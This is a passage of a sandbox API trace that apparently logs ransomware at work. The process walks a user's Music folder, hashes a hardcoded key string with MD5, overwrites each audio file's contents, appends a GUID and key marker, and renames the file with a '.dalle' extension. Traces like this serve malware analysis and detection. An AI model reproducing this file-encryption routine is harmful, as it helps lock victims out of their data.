Size=0x430) returned 0x3096780 [0120.385] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.385] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.385] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.385] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.385] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.385] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.385] CloseHandle (hObject=0x618) returned 1 [0120.386] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0120.386] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0120.386] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0120.386] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1OENLvsSvA_3B3xAhQM.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1oenlvssva_3b3xahqm.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1OENLvsSvA_3B3xAhQM.wav.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\1oenlvssva_3b3xahqm.wav.dalle")) returned 1 [0120.386] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.386] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.387] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0120.387] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb729280, ftCreationTime.dwHighDateTime=0x1d4d194, ftLastAccessTime.dwLowDateTime=0x2dc1c5f0, ftLastAccessTime.dwHighDateTime=0x1d4d554, ftLastWriteTime.dwLowDateTime=0x2dc1c5f0, ftLastWriteTime.dwHighDateTime=0x1d4d554, nFileSizeHigh=0x0, nFileSizeLow=0x17b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5NnU5R.mp3", cAlternateFileName="")) returned 1 [0120.387] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.387] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0120.387] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.387] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5NnU5R.mp3") returned=".mp3" [0120.387] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5NnU5R.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\5nnu5r.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.389] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=6071) returned 1 [0120.389] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.390] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1791, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.390] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.392] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.392] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.392] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.392] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x17b7, lpOverlapped=0x0) returned 1 [0120.392] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.392] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.392] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.393] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.393] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.393] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.393] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.393] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.393] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.393] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.393] GetLastError () returned 0x0 [0120.394] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.394] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.394] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.394] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x17c0) returned 0x3096780 [0120.394] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.394] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.394] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x17b2, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x17b2, lpOverlapped=0x0) returned 1 [0120.394] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.394] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x17b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.394] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.394] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.394] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.394] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.394] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.394] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.394] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.394] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.394] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.395] CloseHandle (hObject=0x618) returned 1 [0120.395] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.395] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x870) returned 0x3096780 [0120.395] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.395] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5NnU5R.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\5nnu5r.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\5NnU5R.mp3.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\5nnu5r.mp3.dalle")) returned 1 [0120.396] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.396] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.397] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0120.397] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2213c490, ftCreationTime.dwHighDateTime=0x1d4cd22, ftLastAccessTime.dwLowDateTime=0x6249bf80, ftLastAccessTime.dwHighDateTime=0x1d4d06d, ftLastWriteTime.dwLowDateTime=0x6249bf80, ftLastWriteTime.dwHighDateTime=0x1d4d06d, nFileSizeHigh=0x0, nFileSizeLow=0x13300, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7wK8zcb6fytX2DCx65.m4a", cAlternateFileName="7WK8ZC~1.M4A")) returned 1 [0120.397] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.397] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0120.397] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.397] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7wK8zcb6fytX2DCx65.m4a") returned=".m4a" [0120.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7wK8zcb6fytX2DCx65.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7wk8zcb6fytx2dcx65.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.398] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=78592) returned 1 [0120.398] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.400] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x132da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.400] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.401] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.401] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.401] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.401] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x13300, lpOverlapped=0x0) returned 1 [0120.402] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.402] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.402] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.402] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.402] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.403] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.403] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.403] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.403] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.403] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.403] GetLastError () returned 0x0 [0120.403] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.403] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.403] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.403] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x13300) returned 0x3096780 [0120.403] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.404] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.404] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x132fb, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x132fb, lpOverlapped=0x0) returned 1 [0120.404] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.404] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13300, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.404] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.404] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.404] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.404] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.404] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.404] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.404] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.404] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.404] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.404] CloseHandle (hObject=0x618) returned 1 [0120.406] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0120.406] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0120.406] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0120.406] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7wK8zcb6fytX2DCx65.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7wk8zcb6fytx2dcx65.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7wK8zcb6fytX2DCx65.m4a.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7wk8zcb6fytx2dcx65.m4a.dalle")) returned 1 [0120.406] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.406] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.407] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0120.407] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5954ac0, ftCreationTime.dwHighDateTime=0x1d4cf3e, ftLastAccessTime.dwLowDateTime=0xd5711500, ftLastAccessTime.dwHighDateTime=0x1d4d3e0, ftLastWriteTime.dwLowDateTime=0xd5711500, ftLastWriteTime.dwHighDateTime=0x1d4d3e0, nFileSizeHigh=0x0, nFileSizeLow=0x632b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8Wt-fr78MDaMolHBnA.mp3", cAlternateFileName="8WT-FR~1.MP3")) returned 1 [0120.407] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.407] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0120.407] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.407] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8Wt-fr78MDaMolHBnA.mp3") returned=".mp3" [0120.407] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8Wt-fr78MDaMolHBnA.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8wt-fr78mdamolhbna.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.408] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=25387) returned 1 [0120.408] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.410] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6305, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.410] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.412] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.412] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.412] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.412] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x632b, lpOverlapped=0x0) returned 1 [0120.412] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.412] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.412] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.413] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.413] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.413] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.413] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.413] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.413] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.413] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.413] GetLastError () returned 0x0 [0120.414] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.414] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.414] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.414] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x6330) returned 0x3096780 [0120.414] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.414] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.414] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x6326, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x6326, lpOverlapped=0x0) returned 1 [0120.414] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.414] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x632b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.414] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.414] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.414] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.414] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.414] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.414] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.414] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.414] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.414] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.415] CloseHandle (hObject=0x618) returned 1 [0120.415] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0120.415] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0120.415] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0120.415] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8Wt-fr78MDaMolHBnA.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8wt-fr78mdamolhbna.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8Wt-fr78MDaMolHBnA.mp3.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8wt-fr78mdamolhbna.mp3.dalle")) returned 1 [0120.416] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.416] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.417] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0120.417] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7f42d0, ftCreationTime.dwHighDateTime=0x1d4d19d, ftLastAccessTime.dwLowDateTime=0x33f0340, ftLastAccessTime.dwHighDateTime=0x1d4cb15, 